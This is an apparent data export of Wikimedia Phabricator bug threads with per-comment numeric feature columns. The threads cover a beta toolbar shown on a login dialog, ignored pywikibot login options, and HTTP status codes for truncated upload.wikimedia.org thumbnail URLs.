{F1495360}",Low,25.0,1439572948,1468009831.0,PHID-USER-grftjc3ekkyjf6bwlsqi,False,PHID-USER-c5xwrfdyp3dckkh2nkoj,False,PHID-TASK-w5pd6fvrknpnahj6zuxe,task_description,resolved,True,c3,3,False,False,False,6,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,5.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,5.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,15.0,0.0,5.0,15.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,5.0,10.0,10.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,3.75,0.9,"Visit URL and you'll see the formatting toolbar at the bottom of the screen.

{F1495360}"
691166,Beta: formatting toolbar is visible on the login dialog,"Change 297995 merged by jenkins-bot:
RIP: Remove non-VE editor with toolbar

[[https://gerrit.wikimedia.org/r/297995]]",,,1468007443,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-w5pd6fvrknpnahj6zuxe,task_subcomment,,True,c3,3,False,,,53,True,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,21.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,8.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,3.4166666666666665,0.8333333333333334,"Change 297995 merged by jenkins-bot:
RIP: Remove non-VE editor with toolbar

[[GERRIT_URL]]"
690992,Beta: formatting toolbar is visible on the login dialog,"Change 297995 had a related patch set uploaded (by Florianschmidtwelzow):
RIP: Remove non-VE editor with toolbar

[[https://gerrit.wikimedia.org/r/297995]]
",,,1467990310,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-w5pd6fvrknpnahj6zuxe,task_subcomment,,True,c3,3,False,,,53,True,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,21.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,7.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,10.0,3.9655172413793105,0.896551724137931,"Change 297995 had a related patch set uploaded (by Florianschmidtwelzow):
RIP: Remove non-VE editor with toolbar

[[GERRIT_URL]]
"
690989,Beta: formatting toolbar is visible on the login dialog,"Ok from my side, I don't plan to work on it anymore :/",,,1467990191,,PHID-USER-c5xwrfdyp3dckkh2nkoj,False,,,PHID-TASK-w5pd6fvrknpnahj6zuxe,task_subcomment,,True,c3,3,True,,,53,True,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,13.0,0.0,13.0,20.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,13.0,7.0,0.0,0.0,20.0,20.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.8,1.0,"Ok from my side, I don't plan to work on it anymore :/"
690349,Beta: formatting toolbar is visible on the login dialog,I'm OK with removing it. Florian?,,,1467910111,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-w5pd6fvrknpnahj6zuxe,task_subcomment,,True,c3,3,True,,,53,True,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,11.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,22.0,11.0,11.0,11.0,0.0,0.0,22.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,3.111111111111111,1.0,I'm OK with removing it. Florian?
690328,Beta: formatting toolbar is visible on the login dialog,Given this bug and the associated tech debt of having it I think this experiment should be removed if there is no intention to push it to production any time soon. What do you think @Florian and @Jdforrester-WMF  ?,,,1467909185,,PHID-USER-5dwuaigmkz2vzg65lape,False,,,PHID-TASK-w5pd6fvrknpnahj6zuxe,task_subcomment,,True,c3,3,True,,,53,True,2.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,2.0,10.0,0.0,5.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,2.0,5.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,5.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,5.0,10.0,2.0,2.0,12.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,10.0,10.0,2.0,2.0,0.0,0.0,10.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,2.0,4.341463414634147,0.926829268292683,Given this bug and the associated tech debt of having it I think this experiment should be removed if there is no intention to push it to production any time soon. What do you thinkSCREEN_NAME andSCREEN_NAME-WMF  ?
510213,Beta: formatting toolbar is visible on the login dialog,"@florian want to have a look at this? it's related to your experiment.

As a note for anyone having a look at this, it depends if you've been bucketed for this experiment or not.",,,1439912480,,PHID-USER-cjstd4vv3u3gq2sijr7d,False,,,PHID-TASK-w5pd6fvrknpnahj6zuxe,task_subcomment,,True,c3,3,True,,,6,True,0.0,2.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,2.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,20.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,10.0,2.0,5.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,10.0,5.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,2.0,5.0,2.0,2.0,15.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,10.0,20.0,0.0,2.0,0.0,0.0,10.0,0.0,0.0,7.0,0.0,2.0,0.0,0.0,0.0,3.6341463414634148,0.7317073170731707,"SCREEN_NAME want to have a look at this? it's related to your experiment.

As a note for anyone having a look at this, it depends if you've been bucketed for this experiment or not."
108848,login.py parameters ignored (or misleading documentation),"Introduction
--

According to ""pwb.py login -help"":

   -force       Ignores if the user is already logged in, and tries to log in.

   -pass        Useful in combination with -all when you have accounts for
                several sites and use the same password for all of them.
                Asks you for the password, then logs in on all given sites.

   -pass:XXXX   Uses XXXX as password. Be careful if you use this
                parameter because your password will be shown on your
                screen, and will probably be saved in your command line
                history. This is NOT RECOMMENDED for use on computers
                where others have either physical or remote access.
                Use -pass instead.

but using ""pwb.py login -all -force -pass:xxxxxx"", yields:

To force a re-login, please delete the revelant lines from '******\pywikibot.lwp' (or the entire file) and try again.
Password for user MalafayaBot on wikiquote:ka (no characters will be shown):

That is, neither it did a ""-force"" (apparently, I have to do it manually by deleting the file) nor it assumed the password I passed in the command line (it's asking me for it).


**These unsupported options should be removed completely**

What to do?
--
- remove `-force` and `-pass` options from documentation string
- remove them from option handling in `main` function
- remove warnin about unsupported `-pass` Option

Important hints
--
- refer [[https://www.mediawiki.org/wiki/Manual:Pywikibot/Development#Guidelines | our Coding Convention Guidlines]]",Low,25.0,1439402555,1615563514.0,PHID-USER-maceogqtxg4qfaefx7wd,False,PHID-USER-xezsyhikbr7hjrig2ofp,False,PHID-TASK-gi43rew22krl55zkqzvv,task_description,resolved,True,c3,3,False,False,False,5,True,0.75,0.0,0.25,1.25,0.25,3.25,0.5,0.25,0.0,0.5,2.25,0.5,0.0,0.0,0.0,1.25,0.0,3.5,9.0,0.0,1.0,0.25,0.0,0.0,0.75,0.0,0.0,0.0,0.0,0.75,0.0,3.75,0.75,1.5,0.25,1.5,0.0,0.0,0.75,1.5,0.25,0.5,0.25,2.5,0.0,0.25,0.0,0.0,0.0,12.75,0.5,0.5,0.25,0.0,0.0,0.0,0.0,0.0,0.75,0.0,0.75,0.5,0.0,0.25,0.0,0.0,0.0,2.5,2.0,8.75,1.25,2.75,4.25,0.0,0.0,0.0,0.0,4.5,0.25,1.25,0.0,4.5,9.0,3.0,0.25,2.0,0.0,4.5,0.0,0.75,0.5,1.0,1.0,0.0,0.0,0.75,4.132242757242757,0.72498334998335,"Introduction
--

According to ""pwb.py login -help"":

   -force       Ignores if the user is already logged in, and tries to log in.

   -pass        Useful in combination with -all when you have accounts for
                several sites and use the same password for all of them.
                Asks you for the password, then logs in on all given sites.

   -pass:XXXX   Uses XXXX as password. Be careful if you use this
                parameter because your password will be shown on your
                screen, and will probably be saved in your command line
                history. This is NOT RECOMMENDED for use on computers
                where others have either physical or remote access.
                Use -pass instead.

but using ""pwb.py login -all -force -pass:xxxxxx"", yields:

To force a re-login, please delete the revelant lines from '******\pywikibot.lwp' (or the entire file) and try again.
Password for user MalafayaBot on wikiquote:ka (no characters will be shown):

That is, neither it did a ""-force"" (apparently, I have to do it manually by deleting the file) nor it assumed the password I passed in the command line (it's asking me for it).


**These unsupported options should be removed completely**

What to do?
--
- remove CODE and CODE options from documentation string
- remove them from option handling in CODE function
- remove warnin about unsupported CODE Option

Important hints
--
- refer [[URL | our Coding Convention Guidlines]]"
1683343,login.py parameters ignored (or misleading documentation),"Change 670801 **merged** by jenkins-bot:
[pywikibot/core@master] Removed relevant options from main function & doc string of login.py

https://gerrit.wikimedia.org/r/670801",,,1615563762,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-gi43rew22krl55zkqzvv,task_subcomment,,True,c3,3,False,,,297,True,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,16.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,6.0,0.0,0.0,13.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,4.193548387096774,0.9032258064516129,"Change 670801 **merged** by jenkins-bot:
[pywikibot/core@master] Removed relevant options from main function & doc string of login.py

GERRIT_URL"
1682307,login.py parameters ignored (or misleading documentation),"Change 670801 had a related patch set uploaded (by Homeboy 445; owner: Homeboy 445):
[pywikibot/core@master] Removed relevant options from main function & doc string of login.py

https://gerrit.wikimedia.org/r/670801",,,1615462757,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-gi43rew22krl55zkqzvv,task_subcomment,,True,c3,3,False,,,297,True,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,14.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,11.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,5.0,4.45945945945946,0.9459459459459459,"Change 670801 had a related patch set uploaded (by Homeboy 445; owner: Homeboy 445):
[pywikibot/core@master] Removed relevant options from main function & doc string of login.py

GERRIT_URL"
507905,login.py parameters ignored (or misleading documentation),"Concerning -force, couldn't we assume it will afect all wikis and just delete the .lwp file? But I believe this parameter is not too important. Maybe just removing it from the usage description and accepted parameters is good enough.",,,1439505930,,PHID-USER-maceogqtxg4qfaefx7wd,False,,,PHID-TASK-gi43rew22krl55zkqzvv,task_subcomment,,True,c3,3,False,,,6,True,2.0,0.0,0.0,0.0,5.0,5.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,5.0,2.0,16.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,7.0,7.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,11.0,0.0,2.0,0.0,5.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,5.0,5.0,9.0,0.0,7.0,9.0,0.0,0.0,0.0,0.0,7.0,0.0,2.0,0.0,9.0,2.0,2.0,2.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,4.431818181818182,0.8636363636363636,"Concerning -force, couldn't we assume it will afect all wikis and just delete the .lwp file? But I believe this parameter is not too important. Maybe just removing it from the usage description and accepted parameters is good enough."
507833,login.py parameters ignored (or misleading documentation),"The `-pass` parameter is not working as there is currently no sensible way from the script to pass the password through and thus the site thinks no password is entered ({T102477}).

Not sure what we could do regarding `-force` though, to make it more usable.",,,1439501912,,PHID-USER-7fndkemmavweiht5ybfd,False,,,PHID-TASK-gi43rew22krl55zkqzvv,task_subcomment,,True,c3,3,True,,,6,True,0.0,0.0,0.0,2.0,4.0,6.0,0.0,0.0,2.0,0.0,4.0,0.0,0.0,0.0,2.0,2.0,0.0,11.0,9.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,8.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,8.0,6.0,9.0,0.0,2.0,11.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,4.0,9.0,4.0,0.0,0.0,0.0,4.0,0.0,2.0,0.0,0.0,4.0,2.0,0.0,0.0,3.9245283018867925,0.8301886792452831,"The CODE parameter is not working as there is currently no sensible way from the script to pass the password through and thus the site thinks no password is entered ({T102477}).

Not sure what we could do regarding CODE though, to make it more usable."
106517,"upload.wikimedia.org returns HTTP status code 503 for truncated urls, not 404","We've had a surge of 5xx lately, investigating it I found a bunch of 501s (""method not implemented"") for truncated URLs from an external referer

```
{
  ""hostname"": ""cp4014.ulsfo.wmnet"",
  ""sequence"": 6204195515,
  ""dt"": ""2015-07-22T12:34:33"",
  ""time_firstbyte"": 0.078635931,
  ""ip"": ""10.128.0.114"",
  ""cache_status"": ""miss"",
  ""http_status"": ""501"",
  ""response_size"": 235,
  ""http_method"": ""GET"",
  ""uri_host"": ""upload.wikimedia.org"",
  ""uri_path"": ""/wikipedia/th/thumb/3/36/%E0%B9%82%E0%B8%A5%E0%B9%82%E0%B8%81%E0%B9%89%E0%B8%AA%E0%B9%82%E0%B8%A1%E0%B8%AA%E0%B8%A3%E0%B8%9F%E0%B8%B8%E0%B8%95%E0%B8%9A%E0%B8%AD%E0%B8%A5%E0%B8%AD%E0%B8%B2%E0%B8%A3%E0%B9%8C%E0%B8%A1%E0%B8%B5%E0%B9%88_%E0%B8%A2%E0%B8%B9%E0%B9%84%E0%B8%99%E0%B9%80%E0%B8%95%E0%B9%87%E0%B8%94.jpg/250px-%E0%B9%82%E0%B8%A5%E0%B9%82%E0%B8%81%E0%B9%89%E0%B8%AA%E0%B9%82%E0%B8%A1%E0%B8%AA%E0%B8%A3%E0%B8%9F%E0%B8%B8%E0%B8%95%E0%B8%9A%E0%B8%AD%E0%B8%A5%E0%B8%AD%E0%B8%B2%E0%B8%A3%E0%B9%"",
  ""uri_query"": """",
  ""content_type"": ""text/html; charset=UTF-8"",
  ""referer"": ""http://www.xn--72c0as5bd1c5b2byj.com/"",
  ""x_forwarded_for"": ""171.96.167.13"",
  ""user_agent"": ""Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/43.0.2357.134 Safari/537.36"",
  ""accept_language"": ""en-US,en;q=0.8"",
  ""x_analytics"": ""-"",
  ""range"": ""-"",
  ""x_cache"": ""cp1050 miss (0), cp4014 miss (0), cp4014 frontend miss (0)""
}
```

The correct behaviour would've been to issue a 404 I think.",Low,25.0,1437569532,1634859069.0,PHID-USER-fdo23otm6ztt674vjqko,False,PHID-USER-sai77mtxmpqnm6pycyvz,False,PHID-TASK-xpv4qxsvw2j4iqlgzxwf,task_description,resolved,True,c3,3,True,False,False,2,True,0.0,0.0,0.0,0.0,2.0,6.0,2.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,6.0,2.0,4.0,10.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,4.0,4.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,16.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,2.0,12.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,4.0,0.0,2.0,0.0,8.0,10.0,2.0,0.0,4.0,0.0,8.0,0.0,0.0,8.0,0.0,2.0,0.0,0.0,0.0,3.549019607843137,0.803921568627451,"We've had a surge of 5xx lately, investigating it I found a bunch of 501s (""method not implemented"") for truncated URLs from an external referer

``CODE``

The correct behaviour would've been to issue a 404 I think."
1777849,"upload.wikimedia.org returns HTTP status code 503 for truncated urls, not 404","The swap of #traffic for #traffic-icebox in this ticket's set of tags was based on a bulk action for all such tickets that haven't been updated in 6 months or more.  This does not imply any human judgement about the validity or importance of the task, and is simply the first step in a larger task cleanup effort.  Further manual triage and/or requests for updates will happen this month for all such tickets.  For more detail, have a look at the extended explanation on the main page of #traffic-icebox .  Thank you!",,,1630538493,,PHID-USER-lhtlnmkdbzlz6pbxaqdd,False,,,PHID-TASK-xpv4qxsvw2j4iqlgzxwf,task_subcomment,,True,c3,3,True,,,321,True,2.0,0.0,0.0,1.0,1.0,9.5,1.0,0.0,0.0,0.0,2.0,0.5,0.0,0.0,0.0,0.0,0.0,2.0,11.0,0.0,0.0,0.0,0.0,0.0,0.5,0.0,0.0,0.0,0.0,1.0,0.0,3.5,0.5,0.0,0.0,1.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,2.5,0.0,0.0,0.0,0.5,0.0,17.5,0.5,1.5,0.0,1.5,0.0,0.0,0.0,0.5,0.5,0.0,0.0,1.0,0.0,0.0,0.0,0.5,0.0,6.5,2.0,3.5,0.0,2.5,10.5,0.0,0.0,1.0,2.0,1.5,0.0,0.5,0.0,1.0,11.0,1.0,0.0,0.0,0.0,1.0,0.0,0.5,2.5,0.0,0.0,2.5,0.0,0.0,3.8387987012987015,0.8558441558441559,"The swap of #traffic for #traffic-icebox in this ticket's set of tags was based on a bulk action for all such tickets that haven't been updated in 6 months or more.  This does not imply any human judgement about the validity or importance of the task, and is simply the first step in a larger task cleanup effort.  Further manual triage and/or requests for updates will happen this month for all such tickets.  For more detail, have a look at the extended explanation on the main page of #traffic-icebox .  Thank you!"
1601591,"upload.wikimedia.org returns HTTP status code 503 for truncated urls, not 404","Yeah, as mentioned in T106517#1569938, that's intentional. A 400 means the URL couldn't be resolved into a valid filename and a sensible set of render parameters. A 404 means it could be but the file doesn't exist. Arguably your first example should be a 400 as well since the file name and thumbnail name do not match but apparently that's not validated at this point.",,,1603098299,,PHID-USER-a6p24cvyblhfzc7we7nc,False,,,PHID-TASK-xpv4qxsvw2j4iqlgzxwf,task_subcomment,,True,c3,3,True,,,276,True,0.0,0.0,0.0,1.0,5.0,5.0,1.0,0.0,0.0,0.0,4.0,3.0,0.0,0.0,0.0,0.0,0.0,11.0,8.0,0.0,0.0,1.0,1.0,0.0,0.0,1.0,0.0,0.0,3.0,0.0,0.0,7.0,3.0,1.0,1.0,1.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,3.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,1.0,0.0,0.0,0.0,11.0,4.0,8.0,1.0,5.0,15.0,0.0,0.0,0.0,0.0,7.0,1.0,4.0,0.0,3.0,8.0,1.0,0.0,0.0,0.0,3.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,4.066666666666666,0.6933333333333334,"Yeah, as mentioned in T106517#1569938, that's intentional. A 400 means the URL couldn't be resolved into a valid filename and a sensible set of render parameters. A 404 means it could be but the file doesn't exist. Arguably your first example should be a 400 as well since the file name and thumbnail name do not match but apparently that's not validated at this point."
1601567,"upload.wikimedia.org returns HTTP status code 503 for truncated urls, not 404","While those urls weren't my original report (which was about truncated URLs), it seems the behaviour has in the meantime changed, but not in a correct way.

If I request the url in my original report adding a "".gif"" at the end, I get a 404 response.

```
curl -I 'https://upload.wikimedia.org/wikipedia/th/thumb/3/36/%E0%B9%82%E0%B8%A5%E0%B9%82%E0%B8%81%E0%B9%89%E0%B8%AA%E0%B9%82%E0%B8%A1%E0%B8%AA%E0%B8%A3%E0%B8%9F%E0%B8%B8%E0%B8%95%E0%B8%9A%E0%B8%AD%E0%B8%A5%E0%B8%AD%E0%B8%B2%E0%B8%A3%E0%B9%8C%E0%B8%A1%E0%B8%B5%E0%B9%88_%E0%B8%A2%E0%B8%B9%E0%B9%84%E0%B8%99%E0%B9%80%E0%B8%95%E0%B9%87%E0%B8%94.jpg/250px-%E0%B9%82%E0%B8%A5%E0%B9%82%E0%B8%81%E0%B9%89%E0%B8%AA%E0%B9%82%E0%B8%A1%E0%B8%AA%E0%B8%A3%E0%B8%9F%E0%B8%B8%E0%B8%95%E0%B8%9A%E0%B8%AD%E0%B8%A5%E0%B8%AD%E0%B8%B2%E0%B8%A3%E0%B9%.gif' 
HTTP/2 404 
date: Mon, 19 Oct 2020 08:21:57 GMT
```

Now let me remove `.gif` at the end, in this case I get a 400 error (""Bad Request""). 

```
curl -I 'https://upload.wikimedia.org/wikipedia/th/thumb/3/36/%E0%B9%82%E0%B8%A5%E0%B9%82%E0%B8%81%E0%B9%89%E0%B8%AA%E0%B9%82%E0%B8%A1%E0%B8%AA%E0%B8%A3%E0%B8%9F%E0%B8%B8%E0%B8%95%E0%B8%9A%E0%B8%AD%E0%B8%A5%E0%B8%AD%E0%B8%B2%E0%B8%A3%E0%B9%8C%E0%B8%A1%E0%B8%B5%E0%B9%88_%E0%B8%A2%E0%B8%B9%E0%B9%84%E0%B8%99%E0%B9%80%E0%B8%95%E0%B9%87%E0%B8%94.jpg/250px-%E0%B9%82%E0%B8%A5%E0%B9%82%E0%B8%81%E0%B9%89%E0%B8%AA%E0%B9%82%E0%B8%A1%E0%B8%AA%E0%B8%A3%E0%B8%9F%E0%B8%B8%E0%B8%95%E0%B8%9A%E0%B8%AD%E0%B8%A5%E0%B8%AD%E0%B8%B2%E0%B8%A3%E0%B9' 
HTTP/2 400 
date: Mon, 19 Oct 2020 08:22:33 GMT
```

If this is intentional, ok - I'm not sure I do agree that 400 is the correct status code for such a response, but it's by design. In that case, just resolve the task.",,,1603096195,,PHID-USER-fdo23otm6ztt674vjqko,False,,,PHID-TASK-xpv4qxsvw2j4iqlgzxwf,task_subcomment,,True,c3,3,True,,,276,True,0.0,0.0,0.0,0.0,2.0,5.0,3.0,0.0,0.0,1.5,2.5,1.5,0.0,0.0,0.0,4.0,0.0,4.0,8.0,0.0,0.0,0.0,0.5,0.0,1.5,0.0,0.0,0.0,0.0,0.0,0.5,7.0,0.0,1.5,2.5,0.0,0.5,0.5,0.0,2.5,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,1.0,11.0,1.0,1.5,0.5,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,3.0,7.0,3.0,1.5,10.5,0.0,0.0,0.0,0.0,2.0,1.0,2.0,0.0,5.5,8.0,0.5,0.0,1.0,0.0,5.5,0.0,0.5,3.0,0.0,0.5,0.0,0.0,0.0,3.4622641509433962,0.7452830188679245,"While those urls weren't my original report (which was about truncated URLs), it seems the behaviour has in the meantime changed, but not in a correct way.

If I request the url in my original report adding a "".gif"" at the end, I get a 404 response.

``CODE`CODE.gifCODE`CODE``

If this is intentional, ok - I'm not sure I do agree that 400 is the correct status code for such a response, but it's by design. In that case, just resolve the task."
1549981,"upload.wikimedia.org returns HTTP status code 503 for truncated urls, not 404",">>! In T106517#5666579, @ema wrote:
> I cannot reproduce with URLs such as https://upload.wikimedia.org/wikipedia/commons/thumb/6/6b/Kitagawa_Utamaro_-_Toji_san_bijin_%28Three_Beauties_of_the_Present_Day%29From_Bijin-ga_%28Pictures_of_Beautiful_Women%29,_published_by_Tsutaya_Juzaburo_-_Google_Art_Project.jpg/200px-Kitagawa_Utamaro_-_Toji_san_bijin_%28Three_Beauties_of_the_Present_Day%29From_Bijin-ga_%28Pictures_of_Beautiful_Women%29,_published_by_Tsutaya_Juzaburo_-_Google_Art_Project.jpg
> 
> @Joe: can this bug be closed or is there anything left to do?

@Joe: Any idea? If not I'd propose simply resolving this ticket.",,,1595532422,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-xpv4qxsvw2j4iqlgzxwf,task_subcomment,,True,c3,3,True,,,264,True,4.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,0.0,4.0,0.0,9.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,35.0,4.0,0.0,9.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,4.0,4.0,13.0,4.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,3.6956521739130435,0.7391304347826086,"QUOTE
QUOTE
QUOTE
QUOTE
SCREEN_NAME: Any idea? If not I'd propose simply resolving this ticket."
1393122,"upload.wikimedia.org returns HTTP status code 503 for truncated urls, not 404","I cannot reproduce with URLs such as https://upload.wikimedia.org/wikipedia/commons/thumb/6/6b/Kitagawa_Utamaro_-_Toji_san_bijin_%28Three_Beauties_of_the_Present_Day%29From_Bijin-ga_%28Pictures_of_Beautiful_Women%29,_published_by_Tsutaya_Juzaburo_-_Google_Art_Project.jpg/200px-Kitagawa_Utamaro_-_Toji_san_bijin_%28Three_Beauties_of_the_Present_Day%29From_Bijin-ga_%28Pictures_of_Beautiful_Women%29,_published_by_Tsutaya_Juzaburo_-_Google_Art_Project.jpg

